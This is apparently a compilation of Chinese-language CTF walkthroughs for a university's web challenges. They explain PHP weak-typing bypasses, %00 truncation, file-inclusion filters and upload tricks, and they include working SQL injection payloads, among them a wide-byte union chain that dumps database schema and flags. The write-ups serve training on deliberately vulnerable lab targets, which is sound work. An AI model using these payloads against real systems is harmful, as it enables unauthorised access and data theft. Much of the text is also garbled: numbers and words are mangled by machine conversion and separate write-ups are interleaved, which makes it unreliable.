察觉使用的是,起始的哈希值都表达为0

此番来看看某名牌大学——

WEB

1.签到

图片 1

查看源代码

2.md5 collision

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

php语言的弱类型天性。
$md51 = md5(‘QNKCDZO’)=0E830400451993494058024219903391

  • php发现密文为0e初阶,PHP在举办相比较运算时,假使赶上了0e\d+这种字符串,就会将那种字符串解析为科学计数法。
  • 因为0exx都等于0,所以让彼此对等我们只需再找到贰个MD伍加密后初始为0e的字符串即可
    0e开头MD5值小结

    图片 2

    get一个a.png

nctf{md5\_collision\_is\_easy}

3.签到2

图片 3

输入的口令长度为1一,而她html源码限制的长度为10.png

只要求post一下就足以了。

图片 4

image.png

flag is:nctf{follow_me_to_exploit}


四.那题不是web
010编辑器打开图片

图片 5

image.png


五.层层推向
开辟源代码,找到so.html.平昔点,发现页面一样,继续点so.html。直到成为40四.html

图片 6

image.png

nctf{this_is_a_fl4g}


6.AAencode
提示:javascript aaencode
神器的JavaScript加密工具aaencode
把js转为颜文字表情符号

aaencode
加密

aaencode
解密

图片 7

放入aencode回车.png


7.单身二10年

图片 8

打开控制台,查看network.png

图片 9

抓包查看该页面响应.png


捌.您从哪儿来
难点坏了。本地,复现
修改一下源码

$referer = $_SERVER['referer'];
改为
$referer = $_SERVER['HTTP_REFERER'];

图片 10

image.png


9.php decode

<?php
function CLsI($ZzvSWE) {
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);}
    return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

图片 11

eval.png

eval换到echo。输出代码。phpinfo(); flag:nctf{gzip_base64_hhhhhh}


十.文本包括


1一.单身一百年也没有用
抓个包看看。

图片 12

image.png


12.Download~!

图片 13

image.png

eGluZ3hpbmdkaWFuZGVuZy5tcDM= base64解码 xingxingdiandeng.mp3

download.php?url=base64('文件名')
下载download.php文件
download.php?url=ZG93bmxvYWQucGhw
文件内容
??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
    $file_size = filesize($url);
    header ( "Pragma: public" );
    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
    header ( "Content-Transfer-Encoding: binary" );
    header ( "Content-Type:audio/mpeg MP3");
    header ( "Content-Length: " . $file_size);
    header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
    exit;
}
else {
    echo "Access Forbidden!";
}
?>

下载hereiskey.php
way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA==

图片 14

image.png

nctf{download_any_file_666}


13.cookie

图片 15

image.png

flag:nctf{cookie_is_different_from_session}


14.MYSQL
http://chinalover.sinaapp.com/web11/robots.txt

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

图片 16

image.png

get 1024.1
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
the flag is:nctf{query_in_mysql}


15.sql injection 3

图片 17

gbk宽字节注入.png

宽字节流入,双字节绕过
MYSQl宽字节注入


16./x00

  if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

ereg()详解
strops()详解
浅析:首个选项要满意纯数字,第3个选项要满足含有#biubiubiu

  • 传3个数组上去满意条件。?nctf[]=1。ereg()与strpos()出错重回null,!=FLASE.
  • ereg的字符串截断漏洞。境遇%00则默许为字符串的实现。?nctf=一%00%2三biubiubiu
    html
    url编码

    flag:nctf{use_00_to_jieduan}

1柒.仍然是弱类型

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
  • md五无法处理数组结构的多寡。出错重返null。index.php?a[]=1&b[]=2
  • 付出八个加密后0e起首的字符串。?a=s87892619玖a&b=
    s155964671a

18.变量遮盖

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { //表示表单提交方式为php
        extract($_POST);}
        if ($pass == $thepassword_123) { // 只需要覆盖$pass、$thepassword_123这两个变量使他们相等即可

        echo $theflag;} 
?>

变量覆盖
burp post一个 pass=1&thepassword_123=1
nctf{bian_liang_fu_gai!}


1玖.php是社会风气上最佳的言语

<?php
if(eregi("hackerDJ",$_GET[id])) {//id与hackerDJ不相同
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);//id又经历了一次URL解码
if($_GET[id] == "hackerDJ")//解码后的id与hackerDJ相同
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

图片 18

eregi不区分轻重缓急写的正则匹配.png

图片 19

url解码.png

实则url编码就是三个字符ascii码的十陆进制。
h的U奥迪Q7L编码为%68,在展开一遍编码后为%256八,%的编码为%二5,get
id=%256八ackerDJ。
flag: nctf{php_is_best_language}


20.伪装者


21.Header

图片 20

响应里面.png


22.上传绕过

图片 21

先上传二个png文件.png

图片 22

上传php文件.png

咱们要把上传的png文件,让她处理为php文件。
截断上传漏洞
大家来判断一下 是怎么分辨上传文件的花色。

上传七个五.png文件 在/uploads/下拉长5.php

图片 23

看清哪些鉴定区别文件类型.png

图片 24

反馈.png

我们得以见到basename重临5.php伍.png
表达是由此basename判断文件类型的。所以大家在/uploads/5.php后边加二个00截断。为了好标识,伍.php后加贰个空格。打开Burp
hex讲空格20,修改为00。

图片 25

0x00截断.png

图片 26

image.png

flag:nctf{welcome_to_hacks_world}


23.sql注入1

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

看源码$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
可以在输入的user做动作,把前边的笺注掉,同时别忘了闭合这一语句,输入
admin‘)#即可,因为#末端都被诠释了,原来的后括号也没了,所以要补上括号。

24.pass chack

<?php
    $pass=@$_POST['pass'];
    $pass1=*;//被隐藏起来的密码
    if(isset($pass))    {
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    } else {
        echo "the pass is wrong!";
    }
    } else {
        echo "please input pass!";
    }
?>

strcmp($pass,$pass1)
strcmp(array,string)=null=0
当区别品类的变量进行相比的时候就会设有变量转换的标题,在转换之后就有非常的大希望会存在难点。
post 贰个数组
pass[]=1

25.起名字真难

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

图片 27

image.png

5497558138八的1陆进制是ccccccccc,未有数字。提交?key=0xccccccccc就行了。

二陆.密码重置

图片 28

image.png

admin based加密 YWRtaW4=

27.php反系列化

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

28.sql injection 4

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
-->
Invalid password!

当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \
(反斜线) and 空字符会自动转为含有反斜线的转义字符。

return htmlentities($str, ENT_QUOTES);//编码全数的双引号和单引号

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

反斜杠取消单引号闭合作用  转义
SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';
转换一下
name='.$username.' AND pass='.$password.';
代入payload

name='\' AND pass='or 1 #';

name=' AND pass='or 1 #';  
#注释多出来的单引号    AND pass =是一个整体  一定是flase   or  1   一定是true  

25.综合题
CTF之JScrewIt的加密解密

图片 29

image.png

百度时而history of bash 目录在~/.bash_history
各个在系统中颇具账号的用户在他的目录下都有3个“.bash_history”文件。那样访问.bash_history得到zip
-r flagbak.zip ./*。下载一下,flag出来了。

26.system


27.SQL注入2

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

提示union查询。

0'union select 'C4CA4238A0B923820DCC509A6F75849B'#&pass=1

看懂php塑造三个就行了 没什么看头。


28.综合题2
查源码
http://cms.nuptzj.cn/about.php?file=sm.txt

create table admin (
id integer,
username text,
userpass text,
)

以及部分文件

config.php:存放数据库音信,移植此 CMS 时要修改
index.php:主页文件
passencode.php:Funny 集团自写密码加密算法库
say.php:用于收纳和拍卖用户留言请求
sm.txt:本 CMS 的求证文书档案

附壹篇详解
https://www.tuicool.com/articles/uYVZbmv


难点链接:https://cgctf.nuptsast.com/challenges\#Web

圣彼得堡邮政和邮电通讯高校的CTF标题吧~

(Ps:因自家较懒,所以做题时都以手工业+度娘,大约从未接纳浏览器以外的工具,如有更好的办法,欢迎留言告知~)

签到题

Web

     查看网页源码找到flag

签到题

一向查看源代码吧。。

<html>  
<title>key在哪里?</title> 
<head> 
      <meta http-equiv="content-type" content="text/html;charset=utf-8">
      <astyle="display:none">nctf{flag_admiaanaaaaaaaaaaa}</a> 
</head> 
<body> key在哪里? 
</body>  
</html>

Flag:nctf{flag_admiaanaaaaaaaaaaa}

MD5   

md5 collision

直接给了源码,来探视

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

意识使用的是MD51=MD52来跳出flag,而且还给了个参数a,那么只必要让参数a的值经过MD5加密后与字符串QNKCDZO由此加密后的MD5值相等就好了。加密后发现是0E开头的密文,即PHP解析0E开头的md5漏洞。详情参见:http://blog.csdn.net/bestlzk/article/details/77994272
那就是说直接在url后增进
?a=s878926199a(自行百度,不可胜数),即http://chinalover.sinaapp.com/web19/?a=s878926199a
Flag就贴出来了。
Flag:nctf{md5_collision_is_easy}

    
在PHP中md伍()和sha1()函数都留存一个漏洞,当像函数中盛传数组时会不可能处理回来同1值,即区别的数组通过md伍(),sha一()处理后结果是平等的。同时PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值举办比较,它把每贰个以”0E”早先的哈希值都表达为0,所以只要四个区别的密码通过哈希未来,其哈希值都以以”0E”开头的,那么PHP将会觉得他俩相同,都以0。传2个a[]=240六十70八死亡即可。常见payload如下:

签到题2

口令是11位数的zhimakaimen,输入会意识那么些输入框限制输入长度为10位数,本身Firefox浏览器直接按F1二(或鼠标单击右键审查成分)找到这一行:

<input value="" name="text1" maxlength="10" 
style="background-image:url··· type="password">

QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a

maxlength=”10″的拾改成>=11,再输入就足以交到口令了。

Flag:nctf{follow_me_to_exploit}

sha1(str) sha1(‘aaroZmOk’) sha1(‘aaK1STfY’)

那题不是web

既然如此不是web,源码和头文件也尚无此外提示新闻,就把那张图下载下来,改为txt格式打开,Ctrl+F快速搜索,发现flag在文末。。还真的不是WEB啊
Flag:nctf{photo_can_also_hid3_msg}

sha1(‘aaO8zKZF’)  sha1(‘aa3OFF9m’)

罕见推进

没啥思路。。。就右键查看源代码,跟随头部链接,依次访nctf{javascript_aaencode}
打开是乱码,习惯性用转码工具(Alt->查看->文字编码->Unicode)转换一下发现是1对堆表情,显明是JS加密,直接F1二贴进控制台跑一下,Flag就出来了~
Flag:nctf{javascript_aaencode}

签到题2

独自二10年

翻开源码,点击<a
href=”./search_key.php”>
,Flag直接出来了。。
Flag:nctf{yougotit_script_now}

     用burpsuite修改包,发送完整指令获得flag。大概F1二改动maxlenght。

php decode

因为PHP环境并未有配置好恐怕如何原因,听闻eval函数能够举行php代码,但自小编将她写好放进地点根目录的时候打开会报错,所以也就没做留着以后填坑

那题不是WEB

文本包罗

LFI漏洞,自行百度补充。
学到了少数无聊的文化,在服务器端的.php文件不能够直接突显,用base6四加密(read=convert.base6四-encode)后获得密文再解密,就足以看来源码了。

<html>
    <title>asdf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

Flag:nctf{edulcni_elif_lacol_si_siht}

     下载网页中GIF,notepad打开,搜索nctf即可找到flag。

独立一百年也没用

和单独二10年1如既往,看源码,点击 <a href=”./index.php”>
结果却跳转到了
/no_key_is_here_forever.php,测度是用了重定向,F1二翻看网络,就能觉察index.php这个包,果然是302重定向,查看响应未有东西,那么相应在头文件了,果然,意料之中~
响应头

Server: sae
Date: Sat, 13 Jan 2018 08:17:43 GMT
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
flag: nctf{this_is_302_redirect}
Location: http://chinalover.sinaapp.com/web8/no_key_is_here_forever.php
Via: 1566

Flag: nctf{this_is_302_redirect}

难得递进

Download~!

不可能做,留着今后填坑~

    
查看网页源码,发现二个so.html的链接,前边属性值的长度宽度均为零相比较奇特,点进去再看源码如故有五个so.html,遵照标题层层推进,最终找到三个40四.html,源码中隐藏flag。

COOKIE

先弄理解COOKIE是个怎么样事物,验证身份用的对吧?那么接下来去看请求包,F1二网络,发现请求头和响应头之间的基情:

Host: chinalover.sinaapp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: Login=0
Connection: keep-alive
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0

Server: sae
Date: Sat, 13 Jan 2018 08:27:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Via: 15146
Set-Cookie: Login=0
Content-Encoding: gzip

cookie:Login=0,标题给的有Tips啊,0==not,按照程序员的想想(不要问为什么,嘿嘿嘿),那么1==yes,改之,出Flag.
Flag:nctf{cookie_is_different_from_session}

AAENCODE

MYSQL

安分守己提醒进去robots.txt后转码看到如下内容:

别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

好了,TIP又出去了,进去sql.php看望,什么都未有,回来探望那一行

 if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }

/sql.php?id=1024后提示try again,换到/sql.php?id=1025后提示no
more。。
即便不懂原理,可是猥琐的试了1波/sql.php?id=1024.5,哈哈,成功获得Flag~
新生才了然首假设此时

  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }

渴求交付的ID在值上==10贰肆,但又不可能是10贰四,不然就会try
again。。任意的小数都足以~ ~
Wpsec的基友们记不记得某浪想要的9九八?同二个道理~

    
win下chrome浏览器打开乱码不可能呈现(其余浏览器没试过),linux下用curl命令获取网页内容,指令格式为curl
url
–silent。获得的JS颜文字加密密文,放到浏览浏览器的控制台即console中跑2遍(按回车)即可获得flag。

/x00

(膜拜大佬,不甘心那道题,看了Writeup恶补一番学问才弄精晓,此题writeup直接拖)

单独二十年

原文

view-source:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

ereg详解
strops详解

此处ereg有三个漏洞
一.%00截断及蒙受%00则暗中同意为字符串的实现
二.当ntf为数组时它的重回值不是FALSE

据此有多个艺术拿flag
1.令id=1%00%23biubiubiu
2.令nctf为数组,即nctf[]=1

Flag:nctf{use_00_to_jieduan}

     Burpsuite发包截包即可取得flag

伪装者

改了X-Forwarded-For没用,不用改Referer,应该是服务器出标题了,看了writeup后发现思路也没有错。。自行补充XFF和Referer和UA在HTTP协议中的成效呢。。

Php decode

Header

直接F1二意味文件,Flag就在里面。

Date: Sun, 14 Jan 2018 10:42:18 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Flag: nctf{tips_often_hide_here}
Content-Length: 132
Connection: close
Content-Type: text/html; charset=UTF-8

Flag:nctf{tips_often_hide_here}

    
下载明文密文,在当面中截取和密文同样长度的字段,与密文异或运算后收获flag。一初始以为是要把密文补零再和明文异或结果flag只出来五成,很坑。

bypass again

开辟见到

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

GET能够承受数组
但md伍()不能够加密数组内的数额
,所以令a和b分别为数组,能够绕过,所以在url里进入index.php?a[]=1&b[]=2,即可看到Flag
Flag: nctf{php_is_so_cool}

文本包括

综合题

一大堆,是jother编码,控制台跑一下出去1bc29b36f623ba82aaf6724fd3b16718.php,贴入UHavalL发现被耍了=
=,TIP在头里,查看头文件发现

Server: sae
Date: Sat, 13 Jan 2018 08:47:08 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
tip: history of bash
Via: 1566
Content-Encoding: gzip

百度一波history of
bash,发现某大佬文章http://blog.csdn.net/pan\_tian/article/details/7715436,拜读完后清楚有个东西叫做.bash_history,贴入url发现

zip -r flagbak.zip ./*

再次下载,发现被毁坏无法解压。。常规思路,改为txt格式发现Flag~
Flag:nctf{bash_history_means_what}

   
 
简单易行的文书包括,当发现url中有?file=字样时能够修改后边为?file=php://filter/convert.base64-encode/resource=xxx.php来查占星应文件源码,此题好像是直接看index.php源码即可获得flag。这些讲话获得的源码一般是base6④加密的,能够找个在线网址解,也能够在python中用base64库解,base6四.b6四decode()。

Re

单生一百年

Hello,RE!

     同单生二10年,如故可用Burpsuite截包获得flag

因为工具的不包容。。RE的题就没做。。

Download~!

Pwn

    下载链接url=+文件名称base6四编码,将download.php编码后下载得到flag

When did you born?

领到码错误。。

COOKIE

Stack Overflow

不会做,留着其后搞~

    请求头中有Cookie:login=0,改为1即可获得flag。

Crypto

MYSQL

easy!

Base64解密,秒出。。
Flag:nctf{this_is_base64_encode}

    依照提醒查看robots.txt,提示向sql.php提交3个id,
id=1024彰显再度尝试,此外id均为msg,则足以用十2四.一绕过php检查评定,在mysql中查询时拾二四.壹因为精度问题按拾贰肆询问,展现flag

Keyboard

难点就是键盘,看提醒也是键盘,那么就从键盘动手,会发现样子是字母areuhack,
标题也说了足够nctf{}。。
Flag:nctf{areuhack}

GBK INJECTION

异性相吸

领取码错误,以往填坑吧

    单引号会被/注掉,能够用%df吃掉/封闭id,再利用Union
select稳步爆库名表名字段名及字段。大概注入姿势如下:?id=-一%df%二7%20union%20select%201,database()%二三,个中%2柒是单引号url编码,%20是空格,%贰三是#用来诠释前边多余的话语。后边的查询是id和title两列,前边也理应是多个,所以凑了个1,试了须臾间它会来得两列中的第贰列,所以把database()放到后边,库名就出来了是sae-chinalover。接着爆表名 
-一%df%2七%20union%20select%20一,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7361652d6368696e616c6f766572%23

Misc

那块烦一点,group_concat是把询问结果整合成1块,为了凑两列。information_schema那个表存着富有数据库的相干音讯,例如tables这么些表里有全数表的消息,table_schema字段存着所属数据库,table_name存着对应表的名字。因为单引号会被转义,所以选取1陆进制来表示,python下编码为’sae-chinalover’.encode(‘hex’)再加上0x即可。表名如下ctf,ctf二,ctf三,ctf4,news。然后就爆字段吧。用information_schema.columns这个表。

全部提取码错误。。就先放着啊

id=-1%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x63746634%二三(那个是爆ctf四这几个表的,多试一下flag在那些表里)

出五个字段id,flag,再爆flag即可。

id=-1%df%27%20union%20select%201,group_concat(flag)%20from%20ctf4%23

下一场就出flag了。

/X00

    ereg()在匹配字串是检查实验到%00会结束,而strpos()会一而再,故构造nctf=一%00%二三biubiubiu即可获得flag

BYPASS AGAIN

    传入值不想等的数组即可,a[]=1&b[]=二,在此之前提过的md5()sha1()漏洞

变量覆盖

    register_global=ON时POST传入数据值会覆盖掉php中变量值,源码中对post数据举办了extract()处理,extract()函数会将数组中的值赋给对应索引,故传入pass=壹&thepassword_1二3=一即可。post能够用firefox的hackbar插件完成,也能够用python的requests库。

PHP是世界上最棒的语言

    Php会对post的数据自动url解码,网页必要不能够传播hackerDJ,但ulr解码后为hackerDJ才能博得flag,故对hackerDJ进行两遍url编码上传后获得flag(ps:python中的urllib.quote()以及php中的urlencode()不能够对字母进行url编码,能够手工把字母转为ASCII码然后加上%号,第叁回再把%变为%25即可)

伪装者

    供给本地账户登陆才行,故添加X-Forwarded-For为127.0.0.一,获取flag战败,估量题出难点了。

Header

    Flag在响应头里

文本上传

    须求绕过检查评定上传php文件,%00截断用持续,仔细侦查回馈数据,发现basename为/uploads/前边的内容丰裕filename=后边的剧情,filename为/uploads/前面包车型大巴剧情丰盛filename=前边‘.’前边的始末,’.’前边的始末被辨认为文件类型,所以filename=后边总得填x.jpg。在/uploads/后边写一.php%00截断,发现不行,于是把%00替换为空格标记该职分,在16进制中找到呼应的职位,把20(空格的16进制)改为00截断,提交成功。

SQL1

    查看源码,发现能够注释掉SQL中user后边的始末,直接搜索admin的始末即可登六成功,在用户名处注入如下admin’)#即可获得falg。

Passcheck

    Strcmp漏洞为流传差别品类的数码相比较会报错但同时重回相等的消息,故post
pass[]=1即可。在python中执行
requests.post(‘url’,data={‘pass[]’:1}).text即可获得flag。

起名字真难

    根据代码知要交1段等于‘5497558138八‘的字符串,且每位不可能为数字,故post其16进制即可,?key=
0xccccccccc得到flag

密码重置

    页面链接url=后为‘ctfuser’的base6肆编码,改为admin,burpsuite截包再把用户名框里的ctfuser改成admin得到flag。

密码重置二

    依照提示查看源码能够找到管理员邮箱,提交管理员邮箱和随机密码后显示fail,依据第2个提示非寻常退出vi后会发生’.’+filename+’.swp’的文件,故查看.submit.php.swp文件,可看出当token长为拾且为0时可收获flag,故输入管理员邮箱+1二个0即可得到flag。

file_get_content

   
很经典的一类题,传一个文件名上去,要求文件中有一些数据。文件名传‘php://input’这一个文件里存着post的数额,同时再Post要求的多少即可获得flag。即post
meizijiu。

SQL2

    $query =

@mysql_fetch_array(mysql_query(“select pw from ctf where

user=’$user'”));
上为注入点,查询结果将与输入密码md五加密后的结果开始展览比对,尽管输入密码为一,则须要让查询结果为一的md五值,用户名处输入‘
UNION SELECT “c四ca423捌a0b923820dcc509a陆f7584玖b”
#,先用空格加单引号使前面的询问结果为空并封闭单引号,union select
+md5(1)查询结果为一的md五加密结果。再用#号注释掉最后的’号即可得到flag。

SQLinjection

    源码对输入举办了拍卖,htmlentities($str,

ENT_QUOTES);,单双引号将被拍卖为html文本,即单引号变为’,注入点在单引号内,则不能添加单引号闭合,提示用/能够注释单引号,则可以用/消灭掉三个单引号,query原本为WHERE

name=’$username’ AND pass=’$password’。Admin处填“/”则变为WHERE
name=(’/’ AND

pass=’)$password’。再将$password写为” or 1#”

则整个查询语句变为SELECT

* FROM users WHERE name=(‘/’ AND pass=’) or
一。可见查询结果为全体表,则$result不为空且查询结果出乎一,得到flag。

综合题

    依照aaencode简单看出为js加密,去掉汉字,放到console中跑一下赢得二个php文件名称,访问之在消息头拿走tip,提示history
of
bash,查询获悉在用户的~目录下有二个.bash_history的文本,在那之中存放着500条左右的授命行命令,查看后意识一条裁减命令,压缩了三个叫flagbak.zip的文书,下载后解压获得flag。

相关文章